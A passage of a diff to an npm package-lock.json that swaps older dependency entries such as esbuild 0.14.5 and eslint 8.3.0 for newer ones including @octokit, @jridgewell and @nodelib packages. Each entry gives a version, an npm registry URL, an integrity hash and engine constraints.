"sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==" + }, + "node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", "dependencies": { - "domelementtype": "^2.0.1", - "domhandler": "^4.2.0", - "entities": "^2.0.0" + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" }, "funding": { - "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/domelementtype": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", - "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fb55" - } - ] - }, - "node_modules/domhandler": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.2.2.tgz", - "integrity": "sha512-PzE9aBMsdZO8TK4BnuJwH0QT41wgMbRzuZrHUcpYncEjmQazq8QEaBWgLG7ZyC/DAZKEgglpIA6j4Qn/HmxS3w==", - "dev": true, + "node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", "dependencies": { - "domelementtype": "^2.2.0" + "ansi-regex": "^6.0.1" }, "engines": { - "node": ">= 4" + "node": ">=12" }, "funding": { - "url": "https://github.com/fb55/domhandler?sponsor=1" + "url": "https://github.com/chalk/strip-ansi?sponsor=1" } }, - "node_modules/domutils": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", - "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", - "dev": true, + "node_modules/@isaacs/cliui/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", "dependencies": { - "dom-serializer": "^1.0.1", - "domelementtype": "^2.2.0", - "domhandler": "^4.2.0" + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" }, "funding": { - "url": "https://github.com/fb55/domutils?sponsor=1" + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, - "node_modules/duplexer2": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", - "integrity": "sha1-ixLauHjA1p4+eJEFFmKjL8a93ME=", + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", "dev": true, + "license": "MIT", "dependencies": { - "readable-stream": "^2.0.2" + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" } }, - "node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } }, - "node_modules/end-of-stream": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", - "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.30", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.30.tgz", + "integrity": "sha512-GQ7Nw5G2lTu/BtHTKfXhKHok2WGetd4XYcVKGx00SjAk8GMwgJM3zr6zORiPGuOE+/vkc90KtTosSSvaCjKb2Q==", "dev": true, + "license": "MIT", "dependencies": { - "once": "^1.4.0" + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" } }, - "node_modules/enquirer": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz", - "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", + "node_modules/@kwsites/file-exists": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@kwsites/file-exists/-/file-exists-1.1.1.tgz", + "integrity": "sha512-m9/5YGR18lIwxSFDwfE3oA7bWuq9kdau6ugN4H2rJeyhFQZcG9AgSHkQtSD15a8WvTgfz9aikZMrKPHvbpqFiw==", "dev": true, "dependencies": { - "ansi-colors": "^4.1.1" + "debug": "^4.1.1" + } + }, + "node_modules/@kwsites/promise-deferred": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@kwsites/promise-deferred/-/promise-deferred-1.1.1.tgz", + "integrity": "sha512-GaHYm+c0O9MjZRu0ongGBRbinu8gVAMd2UZjji6jVmqKtZluZnptXGWhz1E8j8D2HJ3f/yMxKAUC0b+57wncIw==", + "dev": true + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" }, "engines": { - "node": ">=8.6" + "node": ">= 8" } }, - "node_modules/entities": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", - "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", - "dev": true, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "engines": { + "node": ">= 8" } }, - "node_modules/esbuild": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.14.5.tgz", - "integrity": "sha512-ofwgH4ITPXhkMo2AM39oXpSe5KIyWjxicdqYVy+tLa1lMgxzPCKwaepcrSRtYbgTUMXwquxB1C3xQYpUNaPAFA==", - "dev": true, - "hasInstallScript": true, - "bin": { - "esbuild": "bin/esbuild" + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" }, - "optionalDependencies": { - "esbuild-android-arm64": "0.14.5", - "esbuild-darwin-64": "0.14.5", - "esbuild-darwin-arm64": "0.14.5", - "esbuild-freebsd-64": "0.14.5", - "esbuild-freebsd-arm64": "0.14.5", - "esbuild-linux-32": "0.14.5", - "esbuild-linux-64": "0.14.5", - "esbuild-linux-arm": "0.14.5", - "esbuild-linux-arm64": "0.14.5", - "esbuild-linux-mips64le": "0.14.5", - "esbuild-linux-ppc64le": "0.14.5", - "esbuild-netbsd-64": "0.14.5", - "esbuild-openbsd-64": "0.14.5", - "esbuild-sunos-64": "0.14.5", - "esbuild-windows-32": "0.14.5", - "esbuild-windows-64": "0.14.5", - "esbuild-windows-arm64": "0.14.5" - } - }, - "node_modules/esbuild-android-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-android-arm64/-/esbuild-android-arm64-0.14.5.tgz", - "integrity": "sha512-Sl6ysm7OAZZz+X3Mv3tOPhjMuSxNmztgoXH4ZZ3Yhbje5emEY6qiTnv3vBSljDlUl/yGaIjqC44qlj8s8G71xA==", - "cpu": [ - "arm64" - ], - "dev": true, - "optional": true, - "os": [ - "android" - ] + "engines": { + "node": ">= 8" + } }, - "node_modules/esbuild-darwin-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-darwin-64/-/esbuild-darwin-64-0.14.5.tgz", - "integrity": "sha512-VHZl23sM9BOZXcLxk1vTYls8TCAY+/3llw9vHKIWAHDHzBBOlVv26ORK8gnStNMqTjCSGSMoq4T5jOZf2WrJPQ==", - "cpu": [ - "x64" - ], + "node_modules/@npmcli/fs": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-2.1.2.tgz", + "integrity": "sha512-yOJKRvohFOaLqipNtwYB9WugyZKhC/DZC4VYPmpaCzDBrA8YpK3qHZ8/HGscMnE4GqbkLNuVcCnxkeQEdGt6LQ==", "dev": true, - "optional": true, - "os": [ - "darwin" - ] + "license": "ISC", + "dependencies": { + "@gar/promisify": "^1.1.3", + "semver": "^7.3.5" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } }, - "node_modules/esbuild-darwin-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-darwin-arm64/-/esbuild-darwin-arm64-0.14.5.tgz", - "integrity": "sha512-ugPOLgEQPoPLSqAFBajaczt+lcbUZR+V2fby3572h5jf/kFV6UL8LAZ1Ze58hcbKwfvbh4C09kp0PhqPgXKwOg==", - "cpu": [ - "arm64" - ], + "node_modules/@npmcli/move-file": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-2.0.1.tgz", + "integrity": "sha512-mJd2Z5TjYWq/ttPLLGqArdtnC74J6bOzg4rMDnN+p1xTacZ2yPRCk2y0oSWQtygLR9YVQXgOcONrwtnk3JupxQ==", + "deprecated": "This functionality has been moved to @npmcli/fs", "dev": true, - "optional": true, - "os": [ - "darwin" - ] + "license": "MIT", + "dependencies": { + "mkdirp": "^1.0.4", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } }, - "node_modules/esbuild-freebsd-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-freebsd-64/-/esbuild-freebsd-64-0.14.5.tgz", - "integrity": "sha512-uP0yOixSHF505o/Kzq9e4bvZblCZp9GGx+a7enLOVSuvIvLmtj2yhZLRPGfbVNkPJXktTKNRAnNGkXHl53M6sw==", - "cpu": [ - "x64" - ], + "node_modules/@octokit/app": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/@octokit/app/-/app-14.1.0.tgz", + "integrity": "sha512-g3uEsGOQCBl1+W1rgfwoRFUIR6PtvB2T1E4RpygeUU5LrLvlOqcxrt5lfykIeRpUPpupreGJUYl70fqMDXdTpw==", "dev": true, - "optional": true, - "os": [ - "freebsd" - ] + "license": "MIT", + "dependencies": { + "@octokit/auth-app": "^6.0.0", + "@octokit/auth-unauthenticated": "^5.0.0", + "@octokit/core": "^5.0.0", + "@octokit/oauth-app": "^6.0.0", + "@octokit/plugin-paginate-rest": "^9.0.0", + "@octokit/types": "^12.0.0", + "@octokit/webhooks": "^12.0.4" + }, + "engines": { + "node": ">= 18" + } }, - "node_modules/esbuild-freebsd-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-freebsd-arm64/-/esbuild-freebsd-arm64-0.14.5.tgz", - "integrity": "sha512-M99NPu8hlirFo6Fgx0WfX6XxUFdGclUNv3MyyfDtTdNYbccMESwLSACGpE7HvJKWscdjaqajeMu2an9adGNfCw==", - "cpu": [ - "arm64" - ], + "node_modules/@octokit/app/node_modules/@octokit/openapi-types": { + "version": "20.0.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz", + "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==", "dev": true, - "optional": true, - "os": [ - "freebsd" - ] + "license": "MIT" }, - "node_modules/esbuild-linux-32": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-32/-/esbuild-linux-32-0.14.5.tgz", - "integrity": "sha512-hfqln4yb/jf/vPvI/A6aCvpIzqF3PdDmrKiikTohEUuRtvEZz234krtNwEAw5ssCue4NX8BJqrMpCTAHOl3LQw==", - "cpu": [ - "ia32" - ], + "node_modules/@octokit/app/node_modules/@octokit/plugin-paginate-rest": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-9.2.2.tgz", + "integrity": "sha512-u3KYkGF7GcZnSD/3UP0S7K5XUFT2FkOQdcfXZGZQPGv3lm4F2Xbf71lvjldr8c1H3nNbF+33cLEkWYbokGWqiQ==", "dev": true, - "optional": true, - "os": [ - "linux" - ] + "license": "MIT", + "dependencies": { + "@octokit/types": "^12.6.0" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@octokit/core": "5" + } }, - "node_modules/esbuild-linux-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-64/-/esbuild-linux-64-0.14.5.tgz", - "integrity": "sha512-T+OuYPlhytjj5DsvjUXizNjbV+/IrZiaDc9SNUfqiUOXHu0URFqchjhPVbBiBnWykCMJFB6pqNap2Oxth4iuYw==", - "cpu": [ - "x64" - ], + "node_modules/@octokit/app/node_modules/@octokit/types": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz", + "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==", "dev": true, - "optional": true, - "os": [ - "linux" - ] + "license": "MIT", + "dependencies": { + "@octokit/openapi-types": "^20.0.0" + } }, - "node_modules/esbuild-linux-arm": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-arm/-/esbuild-linux-arm-0.14.5.tgz", - "integrity": "sha512-5b10jKJ3lU4BUchOw9TgRResu8UZJf8qVjAzV5muHedonCfBzClGTT4KCNuOcLTJomH3wz6gNVJt1AxMglXnJg==", - "cpu": [ - "arm" - ], + "node_modules/@octokit/auth-app": { + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/@octokit/auth-app/-/auth-app-6.1.3.tgz", + "integrity": "sha512-dcaiteA6Y/beAlDLZOPNReN3FGHu+pARD6OHfh3T9f3EO09++ec+5wt3KtGGSSs2Mp5tI8fQwdMOEnrzBLfgUA==", "dev": true, - "optional": true, - "os": [ - "linux" - ] + "license": "MIT", + "dependencies": { + "@octokit/auth-oauth-app": "^7.1.0", + "@octokit/auth-oauth-user": "^4.1.0", + "@octokit/request": "^8.3.1", + "@octokit/request-error": "^5.1.0", + "@octokit/types": "^13.1.0", + "deprecation": "^2.3.1", + "lru-cache": "npm:@wolfy1339/lru-cache@^11.0.2-patch.1", + "universal-github-app-jwt": "^1.1.2", + "universal-user-agent": "^6.0.0" + }, + "engines": { + "node": ">= 18" + } }, - "node_modules/esbuild-linux-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-arm64/-/esbuild-linux-arm64-0.14.5.tgz", - "integrity": "sha512-ANOzoaH4kfbhEZT0EGY9g1tsZhDA+I0FRwBsj7D8pCU900pXF/l8YAOy5jWFQIb3vjG5+orFc5SqSzAKCisvTQ==", - "cpu": [ - "arm64" - ], + "node_modules/@octokit/auth-app/node_modules/lru-cache": { + "name": "@wolfy1339/lru-cache", + "version": "11.0.2-patch.1", + "resolved": "https://registry.npmjs.org/@wolfy1339/lru-cache/-/lru-cache-11.0.2-patch.1.tgz", + "integrity": "sha512-BgYZfL2ADCXKOw2wJtkM3slhHotawWkgIRRxq4wEybnZQPjvAp71SPX35xepMykTw8gXlzWcWPTY31hlbnRsDA==", "dev": true, - "optional": true, - "os": [ - "linux" - ] + "license": "ISC", + "engines": { + "node": "18 >=18.20 || 20 || >=22" + } }, - "node_modules/esbuild-linux-mips64le": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-mips64le/-/esbuild-linux-mips64le-0.14.5.tgz", - "integrity": "sha512-sSmGfOUNNB2Nd3tzp1RHSxiJmM5/RUIEP5aAtH+PpOP7FPp15Jcfwq7UNBJ82KLN3SJcwhUeEfcCaUFBzbTKxg==", - "cpu": [ - "mips64el" - ], + "node_modules/@octokit/auth-oauth-app": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-app/-/auth-oauth-app-7.1.0.tgz", + "integrity": "sha512-w+SyJN/b0l/HEb4EOPRudo7uUOSW51jcK1jwLa+4r7PA8FPFpoxEnHBHMITqCsc/3Vo2qqFjgQfz/xUUvsSQnA==", "dev": true, - "optional": true, - "os": [ - "linux" - ] + "license": "MIT", + "dependencies": { + "@octokit/auth-oauth-device": "^6.1.0", + "@octokit/auth-oauth-user": "^4.1.0", + "@octokit/request": "^8.3.1", + "@octokit/types": "^13.0.0", + "@types/btoa-lite": "^1.0.0", + "btoa-lite": "^1.0.0", + "universal-user-agent": "^6.0.0" + }, + "engines": { + "node": ">= 18" + } }, - "node_modules/esbuild-linux-ppc64le": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-ppc64le/-/esbuild-linux-ppc64le-0.14.5.tgz", - "integrity": "sha512-usfQrVVIQcpuc/U2NWc7/Ry+m622v+PjJ5eErNPdjWBPlcvD6kXaBTv94uQkVzZOHX3uYqprRrOjseed9ApSYA==", - "cpu": [ - "ppc64" - ], + "node_modules/@octokit/auth-oauth-device": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-device/-/auth-oauth-device-6.1.0.tgz", + "integrity": "sha512-FNQ7cb8kASufd6Ej4gnJ3f1QB5vJitkoV1O0/g6e6lUsQ7+VsSNRHRmFScN2tV4IgKA12frrr/cegUs0t+0/Lw==", "dev": true, - "optional": true, - "os": [ - "linux" - ] + "license": "MIT", + "dependencies": { + "@octokit/oauth-methods": "^4.1.0", + "@octokit/request": "^8.3.1", + "@octokit/types": "^13.0.0", + "universal-user-agent": "^6.0.0" + }, + "engines": { + "node": ">= 18" + } }, - "node_modules/esbuild-netbsd-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-netbsd-64/-/esbuild-netbsd-64-0.14.5.tgz", - "integrity": "sha512-Q5KpvPZcPnNEaTjrvuWqvEnlhI2jyi1wWwYunlEUAhx60spQOTy10sdYOA+s1M+LPb6kwvasrZZDmYyQlcVZeA==", - "cpu": [ - "x64" - ], + "node_modules/@octokit/auth-oauth-user": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-user/-/auth-oauth-user-4.1.0.tgz", + "integrity": "sha512-FrEp8mtFuS/BrJyjpur+4GARteUCrPeR/tZJzD8YourzoVhRics7u7we/aDcKv+yywRNwNi/P4fRi631rG/OyQ==", "dev": true, - "optional": true, - "os": [ - "netbsd" - ] + "license": "MIT", + "dependencies": { + "@octokit/auth-oauth-device": "^6.1.0", + "@octokit/oauth-methods": "^4.1.0", + "@octokit/request": "^8.3.1", + "@octokit/types": "^13.0.0", + "btoa-lite": "^1.0.0", + "universal-user-agent": "^6.0.0" + }, + "engines": { + "node": ">= 18" + } }, - "node_modules/esbuild-openbsd-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-openbsd-64/-/esbuild-openbsd-64-0.14.5.tgz", - "integrity": "sha512-RZzRUu1RYKextJgXkHhAsuhLDvm73YP/wogpUG9MaAGvKTxnKAKRuaw2zJfnbz8iBqBQB2no2PmpVBNbqUTQrw==", - "cpu": [ - "x64" - ], + "node_modules/@octokit/auth-token": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-4.0.0.tgz", + "integrity": "sha512-tY/msAuJo6ARbK6SPIxZrPBms3xPbfwBrulZe0Wtr/DIY9lje2HeV1uoebShn6mx7SjCHif6EjMvoREj+gZ+SA==", "dev": true, - "optional": true, - "os": [ - "openbsd" - ] + "license": "MIT", + "engines": { + "node": ">= 18" + } }, - "node_modules/esbuild-sunos-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-sunos-64/-/esbuild-sunos-64-0.14.5.tgz", - "integrity": "sha512-J2ffKsBBWscQlye+/giEgKsQCppwHHFqqt/sh+ojVF+DZy1ve6RpPGwXGcGF6IaZTAI9+Vk4eHleiQxb+PC9Yw==", - "cpu": [ - "x64" - ], + "node_modules/@octokit/auth-unauthenticated": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@octokit/auth-unauthenticated/-/auth-unauthenticated-5.0.1.tgz", + "integrity": "sha512-oxeWzmBFxWd+XolxKTc4zr+h3mt+yofn4r7OfoIkR/Cj/o70eEGmPsFbueyJE2iBAGpjgTnEOKM3pnuEGVmiqg==", "dev": true, - "optional": true, - "os": [ - "sunos" - ] + "license": "MIT", + "dependencies": { + "@octokit/request-error": "^5.0.0", + "@octokit/types": "^12.0.0" + }, + "engines": { + "node": ">= 18" + } }, - "node_modules/esbuild-windows-32": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-windows-32/-/esbuild-windows-32-0.14.5.tgz", - "integrity": "sha512-OTZvuAc1JBnwmeT+hR1+Vmgz6LOD7DggpnwtKMAExruSLxUMl02Z3pyalJ7zKh3gJ/KBRM1JQZLSk4/mFWijeQ==", - "cpu": [ - "ia32" - ], + "node_modules/@octokit/auth-unauthenticated/node_modules/@octokit/openapi-types": { + "version": "20.0.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz", + "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==", "dev": true, - "optional": true, - "os": [ - "win32" - ] + "license": "MIT" }, - "node_modules/esbuild-windows-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-windows-64/-/esbuild-windows-64-0.14.5.tgz", - "integrity": "sha512-ZM9rlBDsPEeMVJ1wcpNMXUad9VzYOFeOBUXBi+16HZTvFPy2DkcC2ZWcrByP3IESToD5lvHdjSX/w8rxphjqig==", - "cpu": [ - "x64" - ], + "node_modules/@octokit/auth-unauthenticated/node_modules/@octokit/types": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz", + "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==", "dev": true, - "optional": true, - "os": [ - "win32" - ] + "license": "MIT", + "dependencies": { + "@octokit/openapi-types": "^20.0.0" + } }, - "node_modules/esbuild-windows-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-windows-arm64/-/esbuild-windows-arm64-0.14.5.tgz", - "integrity": "sha512-iK41mKG2LG0AKHE+9g/jDYU5ZQpJObt1uIPSGTiiiJKI5qbHdEck6Gaqq2tmBI933F2zB9yqZIX7IAdxwN/q4A==", - "cpu": [ - "arm64" - ], + "node_modules/@octokit/core": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/@octokit/core/-/core-5.2.1.tgz", + "integrity": "sha512-dKYCMuPO1bmrpuogcjQ8z7ICCH3FP6WmxpwC03yjzGfZhj9fTJg6+bS1+UAplekbN2C+M61UNllGOOoAfGCrdQ==", "dev": true, - "optional": true, - "os": [ - "win32" - ] + "license": "MIT", + "dependencies": { + "@octokit/auth-token": "^4.0.0", + "@octokit/graphql": "^7.1.0", + "@octokit/request": "^8.4.1", + "@octokit/request-error": "^5.1.1", + "@octokit/types": "^13.0.0", + "before-after-hook": "^2.2.0", + "universal-user-agent": "^6.0.0" + }, + "engines": { + "node": ">= 18" + } }, - "node_modules/escalade": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", - "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "node_modules/@octokit/endpoint": { + "version": "9.0.6", + "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-9.0.6.tgz", + "integrity": "sha512-H1fNTMA57HbkFESSt3Y9+FBICv+0jFceJFPWDePYlR/iMGrwM5ph+Dd4XRQs+8X+PUFURLQgX9ChPfhJ/1uNQw==", "dev": true, + "license": "MIT", + "dependencies": { + "@octokit/types": "^13.1.0", + "universal-user-agent": "^6.0.0" + }, "engines": { - "node": ">=6" + "node": ">= 18" } }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "node_modules/@octokit/graphql": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-7.1.1.tgz", + "integrity": "sha512-3mkDltSfcDUoa176nlGoA32RGjeWjl3K7F/BwHwRMJUW/IteSa4bnSV8p2ThNkcIcZU2umkZWxwETSSCJf2Q7g==", "dev": true, - "engines": { - "node": ">=10" + "license": "MIT", + "dependencies": { + "@octokit/request": "^8.4.1", + "@octokit/types": "^13.0.0", + "universal-user-agent": "^6.0.0" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "engines": { + "node": ">= 18" } }, - "node_modules/eslint": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.3.0.tgz", - "integrity": "sha512-aIay56Ph6RxOTC7xyr59Kt3ewX185SaGnAr8eWukoPLeriCrvGjvAubxuvaXOfsxhtwV5g0uBOsyhAom4qJdww==", + "node_modules/@octokit/oauth-app": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@octokit/oauth-app/-/oauth-app-6.1.0.tgz", + "integrity": "sha512-nIn/8eUJ/BKUVzxUXd5vpzl1rwaVxMyYbQkNZjHrF7Vk/yu98/YDF/N2KeWO7uZ0g3b5EyiFXFkZI8rJ+DH1/g==", "dev": true, + "license": "MIT", "dependencies": { - "@eslint/eslintrc": "^1.0.4", - "@humanwhocodes/config-array": "^0.6.0", - "ajv": "^6.10.0", - "chalk": "^4.0.0", - "cross-spawn": "^7.0.2", - "debug": "^4.3.2", - "doctrine": "^3.0.0", - "enquirer": "^2.3.5", - "escape-string-regexp": "^4.0.0", - "eslint-scope": "^7.1.0", - "eslint-utils": "^3.0.0", - "eslint-visitor-keys": 